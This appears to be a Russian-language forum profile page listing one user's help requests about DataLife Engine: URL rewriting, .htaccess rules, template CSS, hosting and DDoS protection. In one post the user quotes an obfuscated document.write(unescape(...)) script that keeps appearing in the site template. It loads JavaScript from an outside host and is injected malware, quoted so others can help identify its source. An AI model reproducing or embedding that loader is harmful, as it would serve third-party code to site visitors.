Перейти к публикации

shk1p3r

новички
  • Публикации

    27
  • Зарегистрирован

  • Посещение

Сообщения, опубликованные пользователем shk1p3r

  1. www.zaz.ru

    1. Возможно ли реализовать обратный отчет времени до даты публикации новости (дата публикации еще не натупила) в календаре?

    Допустим создаем новость, дата публикации 2100 год, ставим отображение новостей на еще не наступившую дату. как сделать, чтобы выводилось количество дней, часов, минут до даты публикации новости?

    2. Возможно ли сделать вывод в календаре новостей только из определенной категории?

  2. www.zaz.ru

    В последний месяц с периодичностью раз в неделю в main.tpl появляется следующий скрипт

    <script language="JavaScript">document.write(unescape("%3c%73%63%72%69%70%74%20%6c%61%6e%67%75%61%67%65%3d%27%4a%61%76%61%53%63%72%69%70%74%27%20%73%72%63%3d%27%68%74%74%70%3a%2f%2f%75%6e%69%31%38%2e%72%75%2f%77%70%68%65%61%64%65%72%2e%70%68%70%3f%69%3d%31%35%39%36%33%27%3e%3c%2f%73%63%72%69%70%74%3e"))</script>[/CODE]

    Размещается аккурат над счетчиком mail.ru.

    Есть мысли откуда он берется?

  3. http://grabberdelux.ru demo

    Установка DLE прошла успешно, но после - чистый лист. В логах пишет ошибку:

    [Wed Nov 9 16:38:54 2011] [alert] [client 212.193.231.210] /home/grabber/grabberdelux.ru/docs/.htaccess: Invalid command 'rewrite', perhaps mis-spelled or defined by a module not included in the server configuration

    Насколько я понимаю не обрабатывается .htaccess

    На сервере стоит апач 1.3

    Подключены следующие расширения модуля PHP v5.2.10

    ctype, dom, gd, hash, iconv, mbstring, mysql, mysqli, pdo, recode, templates, xsl, zlib

    Если залить следующий .htaccess (http://dle-news.ru/tips/770-pravila-rewrite-dlya-podderzhki-chpu-na-serverax.html)

    то в логах пишет следующую ошибку:

    [Wed Nov 9 17:32:08 2011] [alert] [client 212.193.231.210] /home/grabber/grabberdelux.ru/docs/.htaccess: Invalid command '\xef\xbb\xbfDirectoryIndex', perhaps mis-spelled or defined by a module not included in the server configuration

    Саппорт ничего внятного объяснить не может (помимо того, что проблема в CMS). На других хостах (majordomo.ru, hc.ru к прмеру) подобных проблем никогда не возникало.

    Подскажите, как правильно настроить апач 1.3 под DLE.

  4. Это фильтрация канала. А именно чтобы специалисты хостинга следили и предпринимали меры по отражению атак, такие в принципе в природе существуют?

    Либо может какие технические решения можете подсказать (которые самому можно внедрить на виртуальном хосте)? Как защититься?

  5. Прошу не пинать. Ддосят только что родившийся сайт (DLE Demo 3 страницы), хостился на nic.ru и majordomo.ru, сервера падают - аккаунт отключают, бизнес не идет.

    Собственно подскажите хостинг с защитой от ддоса (чтобы не у меня болела голова по поводу защиты).

    P.S. поиском пользовался.

  6. Вас не смушает тот факт, что скрипт не генерирует сам ссылки на категории? А там где генерирует то всегда использует адреса со слешем на конце. Так что вы спрашиваете тогда как избежать? Уберите ссылки без слеша, которые вы поставили в своем шаблоне и поисковик о них знать не будет, и ходить по ним не будет. Вы сами у себя поставили ссылки без слеша в шаблоне, а теперь спрашиваете как избежать. Поисковики индексируют только те ссылки, которые стоят у вас на сайте, сами они никаких бесконечных вариантов не придумывают и по своему усмотрению ничего не добавляют и не удаляют.

    В том то и дело, что в шаблоне ссылки все правильные. Такая ситуация была месяца 2 назад, тогда я просто сделал редиректы с ненужных страниц на нужные, бот проиндексировал все страницы как необходимо. После я редиректы убрал - и снова вот такая беда. Ни в шаблоне, ни в бэках нигде нет не нужных ссылок, однако бот упорно старается проиндексировать адреса страниц, ранее расположенные в другой категории.

    Ссылки без слэша и нужны, вопрос был в том, чтобы скрипт генерировал именно страницы без слэш.

  7. evolit.ru

    Здравствуйте дорогие форумчане. Столкнулся с проблемой склейки страниц яндексом. А именно, бот сканирует страницы как с слэшэм на конце, так и без слэша на конце, таким образом имеем дубли некоторых страниц. Сразу оговорюсь, что ссылки на сайте имеют вид без .html на конце. Отсюда возникают следующие вопросы:

    1. Новостные страницы, расположенные в конкретной категории доступны по различным адресам.

    Поясню. К примеру статья http://www.evolit.ru/19/135 (верный адрес) расположена в категории /19/, однако она доступна и по бесконечному количеству адресов в случае, если ссылка имеет вид http://www.evolit.ru/любая цифра/135. (http://www.evolit.ru/999999/135 - неверный адрес). Как этого избежать?

    2. Как запретить вывод и категорий и новостей с слэшэм на конце? Что прописать в htaccess, чтобы и статьи и категории отображались только без слэш на конце (а при заходе на страницу со слэш было 301 на страницу без слэш). На данный момент для каждой страницы вручную прописывается 301 со страницы с слэш на без слэш, весьма неудобно.

    3. Как правильно настроить зеркала на сайте, чтобы главной считалась страница с www и / на конце? В robots прописал Host: www.evolit.ru, в htaccess

    RewriteEngine On

    RewriteCond %{HTTP_HOST} ^evolit.ru

    RewriteRule (.*) http://www.evolit.ru/$1 [R=301,L]

    Верно ли?

  8. Проект, на котором установлен нулл не коммерчесский и создавался мною ради получения опыта работы с DLE около 4 лет назад. На все коммерчесские проекты я всегда приобретаю лицензии (не только на dle). Поэтому я не считаю, что человека, который осознано сознался в использовании нулла и желании приобрести лицензию, можно упрекать в его действиях. Я намерен долго и плодотворно работать с dle и командой dle-news.ru.

  9. Приветствую. В ближайшее время прийдется столкнуться с проблемой выбора хостинга (дружественный сервер завершает свое существование, необходимо задуматься о переезде). Проблема в том, что за 6 с лишним лет сайт вырос до 20гб (огромная галерея ретро-авто). Поэтому прошу совета, какой хостинг смог бы удовлетворить мои потребности? Установлена DLE 8.5. (на данный момент варезная, каюсь, перед переносом будет куплена лицензия).

  10. http://www.evolit.ru/dle/

    В firefox все отображается нормально. В ie и opera не отображается бэкграунд боковых блоков.

    Бэкграунд в виде изображения, размноженного по вертикали. Сама картинка бэкграунда видна, однако размножения ее по вертикали не происходит (в ie и opera).

    Доктип прописан

    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

    <html xmlns="http://www.w3.org/1999/xhtml">

    Также в main.tpl имеется следующее

    <!--
    
    function bookmarkthis(title,url) {
    
      if (window.sidebar) { // Firefox
    
         window.sidebar.addPanel(title, url, "");
    
      } else if (document.all) { // IE
    
         window.external.AddFavorite(url, title);
    
      } else if (window.opera && window.print) { // Opera
    
         var elem = document.createElement('a');
    
         elem.setAttribute('href',url);
    
         elem.setAttribute('title',title);
    
         elem.setAttribute('rel','sidebar');
    
         elem.click();
    
      }
    
    }
    
    //-->
    Привожу участок кода mail.tpl
    <table height="100%" border="0" cellspacing="0" cellpadding="0">
    
    <tr height="100%" valign="top">
    
    <td><div class="contenttopleft"><img src="{THEME}/images/materials.gif" height="35px" /><div class="lefttext">{custom category="16" template="products" aviable="global" from="0" limit="20" cache="yes"}</div>
    
    </div></td>
    
    <td width="100%"><div class="content">
    
    [not-aviable=main|showfull|info]{speedbar}[/not-aviable]
    
    {info}[not-aviable=main]{content}[/not-aviable]
    
    [aviable=main]{include file="evolit.tpl"}[/aviable]
    
    </div></td>
    
    <td>
    
    <div class="righttop"></div>
    
    <div class="rightcenter"><div class="righttext">{include file="coordinates.tpl"}</div></div>
    
    </td>
    
    </tr>
    
    </table>
    style.css
    .contenttopleft{
    
    height:100%;
    
    background-image:url(../images/left_fon.gif);
    
    background-repeat: repeat-y;
    
    min-height: 100%;
    
    }
    
    
    .lefttext{
    
    color:#ffffff;
    
    font-weight:bold;
    
    padding: 18px 0 193px 12px;
    
    background-color:#820202;
    
    background-image:url(../images/left_bottom.gif);
    
    background-position:bottom;
    
    background-repeat: no-repeat;
    
    }
    
    
    .content{
    
    height:100%;
    
    color: #3a3e59;
    
    background-image:url(../images/center_top.gif);
    
    background-position:left top;
    
    background-repeat: no-repeat;
    
    }
    
    
    .righttop{
    
    height:35px;
    
    width:237px;
    
    background-image:url(../images/right_top.gif);
    
    background-repeat: no-repeat;
    
    background-position: top;
    
    margin: 0;
    
    }
    
    
    .rightcenter{
    
    height:100%;
    
    width:237px;
    
    background-image:url(../images/rigth_fon.gif);
    
    background-repeat: repeat-y;
    
    }

    Помогите решить проблему кроссбраузерности (можно за вознаграждение, в личку)

    P.S. копирайты на сайте выложу.

  11. Не корректно ведет себя шаблон при добавлении в новостную страницу (не статическую) тэгов <table>. В статической все отлично отображается. Как собсно реализовать отключение автоматической конвертации HTML в новостной странице?

    Галочка автоперенос строк не влияет.

    Пример

    http://www.evolit.ru/dle/16/213

    Обычная таблица 2х2 с фиксированной шириной и высотой. Создавал через визуальный редактор. Если его отключить - эффект тот же, правые блоки съезжают вниз. На версиях 8.3 8.5 с стандартным шаблоном тоже самое (это я год назад еще на демо версии пробовал чтото создать). В статических страницах такой проблемы не наблюдается. Но в данном раскладе статическими страницами пользоваться не могу, так как статьи должны быть в категориях (а статические страницы туда загнать невозможно).

    Помогите решить проблему (можно за вознаграждение, в личку).

    P.S. копирайты на сайте выложу.

  12. http://www.evolit.ru/dle/13.html (тестовая статическая страница)

    Подскажите, как убрать .html из url статической страницы (с обычными совладал).

    Как преобразовать вид url статической страницы после ее разрыва тегом pagebreak?

    Конечный результат должен быть следующим:

    http://www.evolit.ru/dle/13

    http://www.evolit.ru/dle/13/2 где 2-номер второй страницы.

    Пытался подредактировать engine/modules/static.php изменив код

    					if( $news_page > 1 ) {
    
    						$pages = $news_page - 1;
    
    						if( $config['allow_alt_url'] == "yes" ) {
    
    							$prevpage = "<a href=\"" . $config['http_home_url'] . "page," . $pages . "," . $static_result['name'] . ".html\">" . $lang['news_prev'] . "</a> | ";
    
    						} else {
    
    							$prevpage = "<a href=\"$PHP_SELF?do=static&page=" . $static_result['name'] . "&news_page=" . $pages . "\">" . $lang['news_prev'] . "</a> | ";
    
    						}
    
    					}
    
    
    					$tpl->set( '{pages}', $prevpage . $lang['news_site'] . " " . $news_page . $lang['news_iz'] . $anzahl_seiten . $nextpage );
    
    
    					if( $config['allow_alt_url'] == "yes" ) {
    
    						$replacepage = "<a href=\"" . $config['http_home_url'] . "page," . "\\1" . "," . $static_result['name'] . ".html\">\\2</a>";
    
    					} else {
    
    						$replacepage = "<a href=\"$PHP_SELF?do=static&page=" . $static_result['name'] . "&news_page=\\1\">\\2</a>";
    
    					}
    на
    if( $news_page < $anzahl_seiten ) {
    
    						$pages = $news_page + 1;
    
    						if( $config['allow_alt_url'] == "yes" ) {
    
    							$nextpage = " | <a href=\"" . $config['http_home_url'] . $pages . "/" . $static_result['name']>" . $lang['news_next'] . "</a>";
    
    						} else {
    
    							$nextpage = " | <a href=\"$PHP_SELF?do=static&page=" . $static_result['name'] . "&news_page=" . $pages . "\">" . $lang['news_next'] . "</a>";
    
    						}
    
    					}
    
    
    					if( $news_page > 1 ) {
    
    						$pages = $news_page - 1;
    
    						if( $config['allow_alt_url'] == "yes" ) {
    
    							$prevpage = "<a href=\"" . $config['http_home_url'] . $pages . "/" . $static_result['name']>" . $lang['news_prev'] . "</a> | ";
    
    						} else {
    
    							$prevpage = "<a href=\"$PHP_SELF?do=static&page=" . $static_result['name'] . "&news_page=" . $pages . "\">" . $lang['news_prev'] . "</a> | ";
    
    						}
    
    					}
    
    
    					$tpl->set( '{pages}', $prevpage . $lang['news_site'] . " " . $news_page . $lang['news_iz'] . $anzahl_seiten . $nextpage );
    
    
    					if( $config['allow_alt_url'] == "yes" ) {
    
    						$replacepage = "<a href=\"" . $config['http_home_url'] . "\\1" . "/" . $static_result['name']>\\2</a>";
    
    					} else {
    
    						$replacepage = "<a href=\"$PHP_SELF?do=static&page=" . $static_result['name'] . "&news_page=\\1\">\\2</a>";
    
    					}
    тобишь убрал .html ,page и поменял , на / Также отредактировал .htacces строку
    RewriteRule ^page,([0-9]+),([^/]+).html$ index.php?do=static&page=$2&news_page=$1 [L]
    изменил на
    RewriteRule ^page,([0-9]+),([^/]+)$ index.php?do=static&page=$2&news_page=$1 [L]

    ----------------------

    Выскакивает ошибка в работе static.tpl.

    Помогите решить данную проблему. Решение могу оплатить (в личку).

  13. Вот таже беда. Не корректно ведет себя шаблон при добавлении в новостную страницу (не статическую) тэгов <table>. В статической все отлично отображается. Как собсно реализовать отключение автоматической конвертации HTML в новостной странице?

    Галочка автоперенос строк не влияет.

  14. Возможно както сделать, чтобы при добавлении в новости ее названия, именно название имело приоритет перед id новости, и отображалось именно оно, без id?

    По большому счету все это необходимо лишь для переноса контента с старого сайта на dle. В старой версии новости выводятся по id,но при добавлении названия новости выводится именно ее название, без id.

  15. Приветствую. Наконец то приобрел лицензию. Единственное пока не активировал (если я активирую в подпапке сайта, при переносе в корень сайта активация останется?).

    evolit.ru/dle/index.php

    Задача в следующем:

    необходимо ЧПУ второго типа преобразовать в следующий вид:

    было

    site_name/id_category/id_news-alt_name/

    необходимо:

    site_name/id_category/alt_name

    Алгоритм решения следующий:

    В файлах

    \engine\ajax\find_relates.php

    \engine\classes\google.class.php

    \engine\inc\cmoderation.php

    \engine\inc\editnews.php

    \engine\modules\fullsearch.php

    \engine\modules\search.php

    \engine\modules\show.custom.php

    \engine\modules\show.full.php

    \engine\modules\show.short.php

    \engine\modules\topnews.php

    Удаляем все переменные

    .$row['id']

    .$row['post_id']

    .$related['id']

    ."-"

    .".html"

    ,касающеися ЧПУ 2

    Однако необходимо внести еще изменения в .htaccess, вот здесь у меня и возникает вопрос, на что нужно изменить

    RewriteRule^([^.]+)/([0-9]+)-(.*).html(/?)+$index.php?newsid=$2[L]

    и, может, чтото нужно дописать?

    Пробовал

    Изменить на

    RewriteRule^([^.]+)/(.*)(/?)+$index.php?newsid=$2[L]

    не выходит.

×
×
  • Создать...